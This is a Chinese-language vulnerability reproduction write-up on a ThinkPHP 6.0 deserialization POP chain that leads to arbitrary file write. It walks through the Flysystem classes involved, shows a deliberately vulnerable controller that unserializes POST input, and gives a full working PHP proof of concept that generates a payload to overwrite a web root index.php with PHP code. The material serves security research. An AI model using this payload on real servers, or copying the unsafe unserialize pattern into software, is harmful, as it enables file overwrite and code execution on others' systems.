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Thinkphp 6.0 任意文件写入pop链

一、漏洞简介

需要知晓绝对路径

二、漏洞影响

Thinkphp 6.0

三、复现过程

环境搭建

ThinkPHP6.0.2

PHP7.2

<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController

    public function test(){
        echo base64_decode($_POST['payload']);
        $payload = unserialize(base64_decode($_POST['payload']));
    }
}

漏洞分析

POP链：

League\Flysystem\Cached\Storage\AbstractCache --> destruct()
League\Flysystem\Cached\Storage\Adapter --> save()
League\Flysystem\Adapter\Local --> write()
vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php

因AbstractCache类为抽象类，需找到其实现子类，且要有save()方法

成功找到：vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php

$contents决定文件写入内容，显然可向$this->complete或$this->expire写入具体内容即可

接下来需找到具有write()方法的类，vendor/league/flysystem/src/Adapter/Local.php中Local类符合条件

但ensureDirectory()对利用造成了影响，将对目录进行检测，因而造成必须使用绝对路径

漏洞复现

根据分析写出poc

该利用链较为鸡肋，要求必须知晓写入文件的绝对路径

<?php
namespace League\Flysystem\Cached\Storage;#AbstractCache Adapter
use League\Flysystem\Adapter\Local;
abstract class AbstractCache{
    protected $autosave = true;
    protected $cache = [];
    protected $complete = [];
    function __construct(){
        $this->autosave = false;
        $this->cache = ['test'];
        $this->complete = ["axin"=>"<?php phpinfo();?>"];
    }
}

class Adapter extends AbstractCache{
    protected $adapter;
    protected $file;
    protected $expire = null;

    function __construct(){
        parent::__construct();
        $this->adapter = new Local();
        $this->file = "var/www/html/index.php";
        #$this->file = "://WampServer/www/tp/tp6.0.1/public/index.php"; #winsows下目录
        $this->expire = 123;
    }
}

namespace League\Flysystem\Adapter;
abstract class AbstractAdapter{
    protected $pathPrefix;
    function __construct(){
        $this->pathPrefix = "/";
        #$this->pathPrefix = "D";  #windows下目录
    }
}
class Local extends AbstractAdapter{

}
use League\Flysystem\Cached\Storage\Adapter;
echo base64_encode(serialize(new Adapter()));

效果演示：自己构造一个反序列化输入点，发送请求(页面的输出是我自己方便调试打印的)

文件成功写入：

参考链接

http://pines404.online/2020/01/20/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/ThinkPHP/ThinkPHP6.0%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE(%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5)%E5%88%86%E6%9E%90/

https://www.anquanke.com/post/id/194269